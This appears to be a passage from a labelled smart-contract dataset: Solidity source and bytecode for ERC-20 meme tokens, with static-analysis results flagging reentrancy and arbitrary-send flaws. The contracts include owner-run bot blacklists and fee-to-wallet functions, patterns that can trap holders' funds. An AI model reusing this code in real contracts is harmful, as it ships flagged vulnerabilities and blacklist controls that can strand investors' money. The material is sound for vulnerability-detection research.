zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (120 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102ca578063b515566a146102ea578063c3c8cd801461030a578063c9567bf91461031f578063dd62ed3e1461033457600080fd5b806370a082311461023f578063715018a61461025f5780638da5cb5b1461027457806395d89b411461029c57600080fd5b80632634e5e8116100d15780632634e5e8146101cc578063313ce567146101ee5780635932ead11461020a5780636fc3eaec1461022a57600080fd5b806306fdde031461010e578063095ea7b31461015757806318160ddd1461018757806323b872dd146101ac57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600e81526d202a3432a13ab7373caa37b5b2b760911b60208201525b60405161014e9190611910565b60405180910390f35b34801561016357600080fd5b50610177610172366004611797565b61037a565b604051901515815260200161014e565b34801561019357600080fd5b50670de0b6b3a76400005b60405190815260200161014e565b3480156101b857600080fd5b506101776101c7366004611756565b610391565b3480156101d857600080fd5b506101ec6101e73660046118c9565b6103fa565b005b3480156101fa57600080fd5b506040516009815260200161014e565b34801561021657600080fd5b506101ec61022536600461188f565b610480565b34801561023657600080fd5b506101ec6104d1565b34801561024b57600080fd5b5061019e61025a3660046116e3565b6104fe565b34801561026b57600080fd5b506101ec610520565b34801561028057600080fd5b506000546040516001600160a01b03909116815260200161014e565b3480156102a857600080fd5b5060408051808201909152600581526442554e4e5960d81b6020820152610141565b3480156102d657600080fd5b506101776102e5366004611797565b610594565b3480156102f657600080fd5b506101ec6103053660046117c3565b6105a1565b34801561031657600080fd5b506101ec610637565b34801561032b57600080fd5b506101ec61066d565b34801561034057600080fd5b5061019e61034f36600461171d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610387338484610a2e565b5060015b92915050565b600061039e848484610b52565b6103f084336103eb85604051806060016040528060288152602001611afc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f64565b610a2e565b5060019392505050565b600c546001600160a01b0316336001600160a01b03161461041a57600080fd5b6000811161042757600080fd5b61044561271061043f670de0b6b3a764000084610f9e565b90611024565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa90611965565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f157600080fd5b476104fb81611066565b50565b6001600160a01b03811660009081526002602052604081205461038b906110eb565b6000546001600160a01b0316331461054a5760405162461bcd60e51b81526004016104aa90611965565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610387338484610b52565b6000546001600160a01b031633146105cb5760405162461bcd60e51b81526004016104aa90611965565b60005b8151811015610633576001600a60008484815181106105ef576105ef611aac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062b81611a7b565b9150506105ce565b5050565b600c546001600160a01b0316336001600160a01b03161461065757600080fd5b6000610662306104fe565b90506104fb81611168565b6000546001600160a01b031633146106975760405162461bcd60e51b81526004016104aa90611965565b600f54600160a01b900460ff16156106f15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104aa565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072d3082670de0b6b3a7640000610a2e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076657600080fd5b505afa15801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e9190611700565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e9190611700565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086657600080fd5b505af115801561087a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089e9190611700565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108ce816104fe565b6000806108e36000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094657600080fd5b505af115801561095a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061097f91906118e2565b5050600f805466b1a2bc2ec5000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f657600080fd5b505af1158015610a0a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063391906118ac565b6001600160a01b038316610a905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b038216610af15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b60008111610c7a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b6000546001600160a01b03848116911614801590610ca657506000546001600160a01b03838116911614155b15610f0757600f54600160b81b900460ff1615610d8d576001600160a01b0383163014801590610cdf57506001600160a01b0382163014155b8015610cf95750600e546001600160a01b03848116911614155b8015610d135750600e546001600160a01b03838116911614155b15610d8d57600e546001600160a01b0316336001600160a01b03161480610d4d5750600f546001600160a01b0316336001600160a01b0316145b610d8d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104aa565b601054811115610d9c57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610dde57506001600160a01b0382166000908152600a602052604090205460ff16155b610de757600080fd5b600f546001600160a01b038481169116148015610e125750600e546001600160a01b03838116911614155b8015610e3757506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4c5750600f54600160b81b900460ff165b15610e9a576001600160a01b0382166000908152600b60205260409020544211610e7557600080fd5b610e80426078611a0b565b6001600160a01b0383166000908152600b60205260409020555b6000610ea5306104fe565b600f54909150600160a81b900460ff16158015610ed05750600f546001600160a01b03858116911614155b8015610ee55750600f54600160b01b900460ff165b15610f0557610ef381611168565b478015610f0357610f0347611066565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f4957506001600160a01b03831660009081526005602052604090205460ff165b15610f52575060005b610f5e848484846112f1565b50505050565b60008184841115610f885760405162461bcd60e51b81526004016104aa9190611910565b506000610f958486611a64565b95945050505050565b600082610fad5750600061038b565b6000610fb98385611a45565b905082610fc68583611a23565b1461101d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b9392505050565b600061101d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b600c546001600160a01b03166108fc611080836002611024565b6040518115909202916000818181858888f193505050501580156110a8573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c3836002611024565b6040518115909202916000818181858888f19350505050158015610633573d6000803e3d6000fd5b60006006548211156111525760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104aa565b600061115c61134b565b905061101d8382611024565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b0576111b0611aac565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120457600080fd5b505afa158015611218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123c9190611700565b8160018151811061124f5761124f611aac565b6001600160a01b039283166020918202929092010152600e546112759130911684610a2e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ae90859060009086903090429060040161199a565b600060405180830381600087803b1580156112c857600080fd5b505af11580156112dc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b806112fe576112fe61136e565b611309848484611391565b80610f5e57610f5e60016008556002600955565b6000818361133e5760405162461bcd60e51b81526004016104aa9190611910565b506000610f958486611a23565b6000806000611358611488565b90925090506113678282611024565b9250505090565b60085415801561137e5750600954155b1561138557565b60006008819055600955565b6000806000806000806113a3876114c8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113d59087611525565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114049086611567565b6001600160a01b038916600090815260026020526040902055611426816115c6565b6114308483611610565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006114a38282611024565b8210156114bf57505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114e58a600854600954611634565b92509250925060006114f561134b565b905060008060006115088e878787611683565b919e509c509a509598509396509194505050505091939550919395565b600061101d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f64565b6000806115748385611a0b565b90508381101561101d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b60006115d061134b565b905060006115de8383610f9e565b306000908152600260205260409020549091506115fb9082611567565b30600090815260026020526040902055505050565b60065461161d9083611525565b60065560075461162d9082611567565b6007555050565b6000808080611648606461043f8989610f9e565b9050600061165b606461043f8a89610f9e565b905060006116738261166d8b86611525565b90611525565b9992985090965090945050505050565b60008080806116928886610f9e565b905060006116a08887610f9e565b905060006116ae8888610f9e565b905060006116c08261166d8686611525565b939b939a50919850919650505050505050565b80356116de81611ad8565b919050565b6000602082840312156116f557600080fd5b813561101d81611ad8565b60006020828403121561171257600080fd5b815161101d81611ad8565b6000806040838503121561173057600080fd5b823561173b81611ad8565b9150602083013561174b81611ad8565b809150509250929050565b60008060006060848603121561176b57600080fd5b833561177681611ad8565b9250602084013561178681611ad8565b929592945050506040919091013590565b600080604083850312156117aa57600080fd5b82356117b581611ad8565b946020939093013593505050565b600060208083850312156117d657600080fd5b823567ffffffffffffffff808211156117ee57600080fd5b818501915085601f83011261180257600080fd5b81358181111561181457611814611ac2565b8060051b604051601f19603f8301168101818110858211171561183957611839611ac2565b604052828152858101935084860182860187018a101561185857600080fd5b600095505b838610156118825761186e816116d3565b85526001959095019493860193860161185d565b5098975050505050505050565b6000602082840312156118a157600080fd5b813561101d81611aed565b6000602082840312156118be57600080fd5b815161101d81611aed565b6000602082840312156118db57600080fd5b5035919050565b6000806000606084860312156118f757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561193d57858101830151858201604001528201611921565b8181111561194f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ea5784516001600160a01b0316835293830193918301916001016119c5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a1e57611a1e611a96565b500190565b600082611a4057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a5f57611a5f611a96565b500290565b600082821015611a7657611a76611a96565b500390565b6000600019821415611a8f57611a8f611a96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fb57600080fd5b80151581146104fb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220affd0be4c37e72750e6f873091eb71f1995df981c254e79b641a57b29546b6f064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,335
0x92c61c669dcdcf12e304fa2218bf5a36b3a066f7
//SPDX-License-Identifier: UNLICENSED //TG: t.me/satorutama pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SATORUTAMA is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e9 * 10**9; string public constant name = unicode"SatoruTama"; string public constant symbol = unicode"SATORUTAMA"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _TaxAdd; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 15; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _TaxAdd = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from] && !_isBot[to] && !_isBot[msg.sender]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if (block.timestamp == _launchedAt) _isBot[to] = true; if((_launchedAt + (3 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (3 minutes)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/20; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function burnToken (uint burnAmount) private lockTheSwap{ _transfer(address(this), address(0xdead),burnAmount); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _TaxAdd.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyAmount = 20000000 * 10**9; _maxHeldTokens = 20000000 * 10**9; } function manualswap() external { require(_msgSender() == _TaxAdd); uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _TaxAdd); uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external { require(_msgSender() == _TaxAdd); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _TaxAdd); require(buy < 12 && sell < 12 && buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _TaxAdd); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _TaxAdd); _TaxAdd = payable(newAddress); emit TaxAddUpdated(_TaxAdd); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _TaxAdd); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101e75760003560e01c8063590f897e11610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610599578063dcb0e0ad146105ae578063dd62ed3e146105ce578063e8078d941461061457600080fd5b8063a9059cbb1461052f578063b515566a1461054f578063c3c8cd801461056f578063c9567bf91461058457600080fd5b806373f54a11116100d157806373f54a111461049b5780638da5cb5b146104bb57806394b8d8f2146104d957806395d89b41146104f957600080fd5b8063590f897e1461043b5780636fc3eaec1461045157806370a0823114610466578063715018a61461048657600080fd5b806327f3a72a1161017a5780633bbac579116101495780633bbac579146103ac57806340b9a54b146103e557806345596e2e146103fb57806349bd5a5e1461041b57600080fd5b806327f3a72a1461033a578063313ce5671461034f57806331c2d8471461037657806332d873d81461039657600080fd5b8063104ce66d116101b6578063104ce66d146102b157806318160ddd146102e95780631940d0201461030457806323b872dd1461031a57600080fd5b80630492f055146101f357806306fdde031461021c578063095ea7b31461025f5780630b78f9c01461028f57600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b506102526040518060400160405280600a8152602001695361746f727554616d6160b01b81525081565b6040516102139190611a50565b34801561026b57600080fd5b5061027f61027a366004611aca565b610629565b6040519015158152602001610213565b34801561029b57600080fd5b506102af6102aa366004611af6565b61063f565b005b3480156102bd57600080fd5b506008546102d1906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156102f557600080fd5b50670de0b6b3a7640000610209565b34801561031057600080fd5b50610209600e5481565b34801561032657600080fd5b5061027f610335366004611b18565b6106d9565b34801561034657600080fd5b5061020961072d565b34801561035b57600080fd5b50610364600981565b60405160ff9091168152602001610213565b34801561038257600080fd5b506102af610391366004611b6f565b61073d565b3480156103a257600080fd5b50610209600f5481565b3480156103b857600080fd5b5061027f6103c7366004611c34565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f157600080fd5b50610209600a5481565b34801561040757600080fd5b506102af610416366004611c51565b6107c9565b34801561042757600080fd5b506009546102d1906001600160a01b031681565b34801561044757600080fd5b50610209600b5481565b34801561045d57600080fd5b506102af61086a565b34801561047257600080fd5b50610209610481366004611c34565b610897565b34801561049257600080fd5b506102af6108b2565b3480156104a757600080fd5b506102af6104b6366004611c34565b610926565b3480156104c757600080fd5b506000546001600160a01b03166102d1565b3480156104e557600080fd5b5060105461027f9062010000900460ff1681565b34801561050557600080fd5b506102526040518060400160405280600a8152602001695341544f525554414d4160b01b81525081565b34801561053b57600080fd5b5061027f61054a366004611aca565b610994565b34801561055b57600080fd5b506102af61056a366004611b6f565b6109a1565b34801561057b57600080fd5b506102af610aba565b34801561059057600080fd5b506102af610af0565b3480156105a557600080fd5b50610209610b8a565b3480156105ba57600080fd5b506102af6105c9366004611c78565b610ba2565b3480156105da57600080fd5b506102096105e9366004611c95565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561062057600080fd5b506102af610c15565b6000610636338484610f5b565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461065f57600080fd5b600c8210801561066f5750600c81105b801561067c5750600a5482105b80156106895750600b5481105b61069257600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106e684848461107f565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610715908490611ce4565b9050610722853383610f5b565b506001949350505050565b600061073830610897565b905090565b6008546001600160a01b0316336001600160a01b03161461075d57600080fd5b60005b81518110156107c55760006005600084848151811061078157610781611cfb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107bd81611d11565b915050610760565b5050565b6008546001600160a01b0316336001600160a01b0316146107e957600080fd5b6000811161082e5760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b03161461088a57600080fd5b47610894816116f3565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161082590611d2c565b600080546040516001600160a01b03909116907f8be0079c531659141344c